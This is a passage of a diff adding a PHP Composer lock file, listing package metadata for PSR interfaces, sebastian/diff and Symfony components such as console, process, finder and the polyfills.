"shasum": "" + }, + "require": { + "php": ">=7.4.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Container\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common Container Interface (PHP FIG PSR-11)", + "homepage": "https://github.com/php-fig/container", + "keywords": [ + "PSR-11", + "container", + "container-interface", + "container-interop", + "psr" + ], + "support": { + "issues": "https://github.com/php-fig/container/issues", + "source": "https://github.com/php-fig/container/tree/2.0.2" + }, + "time": "2021-11-05T16:47:00+00:00" + }, + { + "name": "psr/event-dispatcher", + "version": "1.0.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/event-dispatcher.git", + "reference": "dbefd12671e8a14ec7f180cab83036ed26714bb0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/event-dispatcher/zipball/dbefd12671e8a14ec7f180cab83036ed26714bb0", + "reference": "dbefd12671e8a14ec7f180cab83036ed26714bb0", + "shasum": "" + }, + "require": { + "php": ">=7.2.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\EventDispatcher\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "description": "Standard interfaces for event handling.", + "keywords": [ + "events", + "psr", + "psr-14" + ], + "support": { + "issues": "https://github.com/php-fig/event-dispatcher/issues", + "source": "https://github.com/php-fig/event-dispatcher/tree/1.0.0" + }, + "time": "2019-01-08T18:20:26+00:00" + }, + { + "name": "psr/log", + "version": "2.0.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/log.git", + "reference": "ef29f6d262798707a9edd554e2b82517ef3a9376" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/log/zipball/ef29f6d262798707a9edd554e2b82517ef3a9376", + "reference": "ef29f6d262798707a9edd554e2b82517ef3a9376", + "shasum": "" + }, + "require": { + "php": ">=8.0.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\Log\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for logging libraries", + "homepage": "https://github.com/php-fig/log", + "keywords": [ + "log", + "psr", + "psr-3" + ], + "support": { + "source": "https://github.com/php-fig/log/tree/2.0.0" + }, + "time": "2021-07-14T16:41:46+00:00" + }, + { + "name": "sebastian/diff", + "version": "5.1.0", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/diff.git", + "reference": "fbf413a49e54f6b9b17e12d900ac7f6101591b7f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/fbf413a49e54f6b9b17e12d900ac7f6101591b7f", + "reference": "fbf413a49e54f6b9b17e12d900ac7f6101591b7f", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "phpunit/phpunit": "^10.0", + "symfony/process": "^4.2 || ^5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "5.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Kore Nordmann", + "email": "mail@kore-nordmann.de" + } + ], + "description": "Diff implementation", + "homepage": "https://github.com/sebastianbergmann/diff", + "keywords": [ + "diff", + "udiff", + "unidiff", + "unified diff" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/diff/issues", + "security": "https://github.com/sebastianbergmann/diff/security/policy", + "source": "https://github.com/sebastianbergmann/diff/tree/5.1.0" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-12-22T10:55:06+00:00" + }, + { + "name": "symfony/console", + "version": "v6.4.4", + "source": { + "type": "git", + "url": "https://github.com/symfony/console.git", + "reference": "0d9e4eb5ad413075624378f474c4167ea202de78" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/console/zipball/0d9e4eb5ad413075624378f474c4167ea202de78", + "reference": "0d9e4eb5ad413075624378f474c4167ea202de78", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/polyfill-mbstring": "~1.0", + "symfony/service-contracts": "^2.5|^3", + "symfony/string": "^5.4|^6.0|^7.0" + }, + "conflict": { + "symfony/dependency-injection": "<5.4", + "symfony/dotenv": "<5.4", + "symfony/event-dispatcher": "<5.4", + "symfony/lock": "<5.4", + "symfony/process": "<5.4" + }, + "provide": { + "psr/log-implementation": "1.0|2.0|3.0" + }, + "require-dev": { + "psr/log": "^1|^2|^3", + "symfony/config": "^5.4|^6.0|^7.0", + "symfony/dependency-injection": "^5.4|^6.0|^7.0", + "symfony/event-dispatcher": "^5.4|^6.0|^7.0", + "symfony/http-foundation": "^6.4|^7.0", + "symfony/http-kernel": "^6.4|^7.0", + "symfony/lock": "^5.4|^6.0|^7.0", + "symfony/messenger": "^5.4|^6.0|^7.0", + "symfony/process": "^5.4|^6.0|^7.0", + "symfony/stopwatch": "^5.4|^6.0|^7.0", + "symfony/var-dumper": "^5.4|^6.0|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Console\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Eases the creation of beautiful and testable command line interfaces", + "homepage": "https://symfony.com", + "keywords": [ + "cli", + "command-line", + "console", + "terminal" + ], + "support": { + "source": "https://github.com/symfony/console/tree/v6.4.4" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-02-22T20:27:10+00:00" + }, + { + "name": "symfony/deprecation-contracts", + "version": "v3.4.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/deprecation-contracts.git", + "reference": "7c3aff79d10325257a001fcf92d991f24fc967cf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/7c3aff79d10325257a001fcf92d991f24fc967cf", + "reference": "7c3aff79d10325257a001fcf92d991f24fc967cf", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.4-dev" + }, + "thanks": { + "name": "symfony/contracts", + "url": "https://github.com/symfony/contracts" + } + }, + "autoload": { + "files": [ + "function.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "A generic function and convention to trigger deprecation notices", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/deprecation-contracts/tree/v3.4.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-05-23T14:45:45+00:00" + }, + { + "name": "symfony/event-dispatcher", + "version": "v6.4.3", + "source": { + "type": "git", + "url": "https://github.com/symfony/event-dispatcher.git", + "reference": "ae9d3a6f3003a6caf56acd7466d8d52378d44fef" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/ae9d3a6f3003a6caf56acd7466d8d52378d44fef", + "reference": "ae9d3a6f3003a6caf56acd7466d8d52378d44fef", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "symfony/event-dispatcher-contracts": "^2.5|^3" + }, + "conflict": { + "symfony/dependency-injection": "<5.4", + "symfony/service-contracts": "<2.5" + }, + "provide": { + "psr/event-dispatcher-implementation": "1.0", + "symfony/event-dispatcher-implementation": "2.0|3.0" + }, + "require-dev": { + "psr/log": "^1|^2|^3", + "symfony/config": "^5.4|^6.0|^7.0", + "symfony/dependency-injection": "^5.4|^6.0|^7.0", + "symfony/error-handler": "^5.4|^6.0|^7.0", + "symfony/expression-language": "^5.4|^6.0|^7.0", + "symfony/http-foundation": "^5.4|^6.0|^7.0", + "symfony/service-contracts": "^2.5|^3", + "symfony/stopwatch": "^5.4|^6.0|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\EventDispatcher\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides tools that allow your application components to communicate with each other by dispatching events and listening to them", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/event-dispatcher/tree/v6.4.3" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T14:51:35+00:00" + }, + { + "name": "symfony/event-dispatcher-contracts", + "version": "v3.4.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/event-dispatcher-contracts.git", + "reference": "a76aed96a42d2b521153fb382d418e30d18b59df" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/event-dispatcher-contracts/zipball/a76aed96a42d2b521153fb382d418e30d18b59df", + "reference": "a76aed96a42d2b521153fb382d418e30d18b59df", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "psr/event-dispatcher": "^1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.4-dev" + }, + "thanks": { + "name": "symfony/contracts", + "url": "https://github.com/symfony/contracts" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Contracts\\EventDispatcher\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Generic abstractions related to dispatching event", + "homepage": "https://symfony.com", + "keywords": [ + "abstractions", + "contracts", + "decoupling", + "interfaces", + "interoperability", + "standards" + ], + "support": { + "source": "https://github.com/symfony/event-dispatcher-contracts/tree/v3.4.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-05-23T14:45:45+00:00" + }, + { + "name": "symfony/filesystem", + "version": "v6.4.3", + "source": { + "type": "git", + "url": "https://github.com/symfony/filesystem.git", + "reference": "7f3b1755eb49297a0827a7575d5d2b2fd11cc9fb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/7f3b1755eb49297a0827a7575d5d2b2fd11cc9fb", + "reference": "7f3b1755eb49297a0827a7575d5d2b2fd11cc9fb", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "symfony/polyfill-ctype": "~1.8", + "symfony/polyfill-mbstring": "~1.8" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Filesystem\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides basic utilities for the filesystem", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/filesystem/tree/v6.4.3" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T14:51:35+00:00" + }, + { + "name": "symfony/finder", + "version": "v6.4.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/finder.git", + "reference": "11d736e97f116ac375a81f96e662911a34cd50ce" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/finder/zipball/11d736e97f116ac375a81f96e662911a34cd50ce", + "reference": "11d736e97f116ac375a81f96e662911a34cd50ce", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "symfony/filesystem": "^6.0|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Finder\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Finds files and directories via an intuitive fluent interface", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/finder/tree/v6.4.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-10-31T17:30:12+00:00" + }, + { + "name": "symfony/options-resolver", + "version": "v6.4.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/options-resolver.git", + "reference": "22301f0e7fdeaacc14318928612dee79be99860e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/options-resolver/zipball/22301f0e7fdeaacc14318928612dee79be99860e", + "reference": "22301f0e7fdeaacc14318928612dee79be99860e", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\OptionsResolver\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides an improved replacement for the array_replace PHP function", + "homepage": "https://symfony.com", + "keywords": [ + "config", + "configuration", + "options" + ], + "support": { + "source": "https://github.com/symfony/options-resolver/tree/v6.4.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-08-08T10:16:24+00:00" + }, + { + "name": "symfony/polyfill-ctype", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-ctype.git", + "reference": "ef4d7e442ca910c4764bce785146269b30cb5fc4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/ef4d7e442ca910c4764bce785146269b30cb5fc4", + "reference": "ef4d7e442ca910c4764bce785146269b30cb5fc4", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "provide": { + "ext-ctype": "*" + }, + "suggest": { + "ext-ctype": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Ctype\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Gert de Pagter", + "email": "BackEndTea@gmail.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for ctype functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "ctype", + "polyfill", + "portable" + ], + "support": { + "source": "https://github.com/symfony/polyfill-ctype/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/polyfill-intl-grapheme", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-grapheme.git", + "reference": "32a9da87d7b3245e09ac426c83d334ae9f06f80f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/32a9da87d7b3245e09ac426c83d334ae9f06f80f", + "reference": "32a9da87d7b3245e09ac426c83d334ae9f06f80f", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Grapheme\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's grapheme_* functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "grapheme", + "intl", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/polyfill-intl-normalizer", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-normalizer.git", + "reference": "bc45c394692b948b4d383a08d7753968bed9a83d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/bc45c394692b948b4d383a08d7753968bed9a83d", + "reference": "bc45c394692b948b4d383a08d7753968bed9a83d", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Normalizer\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's Normalizer class and related functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "intl", + "normalizer", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/polyfill-mbstring", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-mbstring.git", + "reference": "9773676c8a1bb1f8d4340a62efe641cf76eda7ec" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/9773676c8a1bb1f8d4340a62efe641cf76eda7ec", + "reference": "9773676c8a1bb1f8d4340a62efe641cf76eda7ec", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "provide": { + "ext-mbstring": "*" + }, + "suggest": { + "ext-mbstring": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Mbstring\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for the Mbstring extension", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "mbstring", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/polyfill-php80", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php80.git", + "reference": "87b68208d5c1188808dd7839ee1e6c8ec3b02f1b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/87b68208d5c1188808dd7839ee1e6c8ec3b02f1b", + "reference": "87b68208d5c1188808dd7839ee1e6c8ec3b02f1b", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php80\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ion Bazan", + "email": "ion.bazan@gmail.com" + }, + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php80/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/polyfill-php81", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php81.git", + "reference": "c565ad1e63f30e7477fc40738343c62b40bc672d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php81/zipball/c565ad1e63f30e7477fc40738343c62b40bc672d", + "reference": "c565ad1e63f30e7477fc40738343c62b40bc672d", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php81\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.1+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php81/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/process", + "version": "v6.4.4", + "source": { + "type": "git", + "url": "https://github.com/symfony/process.git", + "reference": "710e27879e9be3395de2b98da3f52a946039f297" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/process/zipball/710e27879e9be3395de2b98da3f52a946039f297", + "reference": "710e27879e9be3395de2b98da3f52a946039f297", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Process\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Executes commands in sub-processes", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/process/tree/v6.4.4" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-02-20T12:31:00+00:00" + }, + { + "name": "symfony/service-contracts", + "version": "v3.4.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/service-contracts.git", + "reference": "fe07cbc8d837f60caf7018068e350cc5163681a0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/service-contracts/zipball/fe07cbc8d837f60caf7018068e350cc5163681a0", + "reference": "fe07cbc8d837f60caf7018068e350cc5163681a0", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "psr/container": "^1.1|^2.0" + }, + "conflict": { + "ext-psr": "<1.1|>=2" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.4-dev" + }, + "thanks": { + "name": "symfony/contracts", + "url": "https://github.com/symfony/contracts" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Contracts\\Service\\": "" + }, + "exclude-from-classmap": [ + "/Test/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Generic abstractions related to writing services", + "homepage": "https://symfony.com", + "keywords": [ + "abstractions", + "contracts", + "decoupling", + "interfaces", + "interoperability", + "standards" + ], + "support": { + "source": "https://github.com/symfony/service-contracts/tree/v3.4.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-12-26T14:02:43+00:00" + }, + { + "name": "symfony/stopwatch", + "version": "v6.4.3", + "source": { + "type": "git", + "url": "https://github.com/symfony/stopwatch.git", + "reference": "416596166641f1f728b0a64f5b9dd07cceb410c1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/stopwatch/zipball/416596166641f1f728b0a64f5b9dd07cceb410c1", + "reference": "416596166641f1f728b0a64f5b9dd07cceb410c1", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "symfony/service-contracts": "^2.5|^3" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Stopwatch\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides a way to profile code", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/stopwatch/tree/v6.4.3" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T14:35:58+00:00" + }, + { + "name": "symfony/string", + "version": "v6.4.4", + "source": { + "type": "git", + "url": "https://github.com/symfony/string.git", + "reference": "4e465a95bdc32f49cf4c7f07f751b843bbd6dcd9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/string/zipball/4e465a95bdc32f49cf4c7f07f751b843bbd6dcd9", + "reference": "4e465a95bdc32f49cf4c7f07f751b843bbd6dcd9", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "symfony/polyfill-ctype": "~1.8", + "symfony/polyfill-intl-grapheme": "~1.0", + "symfony/polyfill-intl-normalizer": "~1.0", + "symfony/polyfill-mbstring": "~1.0" + }, + "conflict": { + "symfony/translation-contracts": "<2.5" + }, + "require-dev": { + "symfony/error-handler": "^5.4|^6.0|^7.0", + 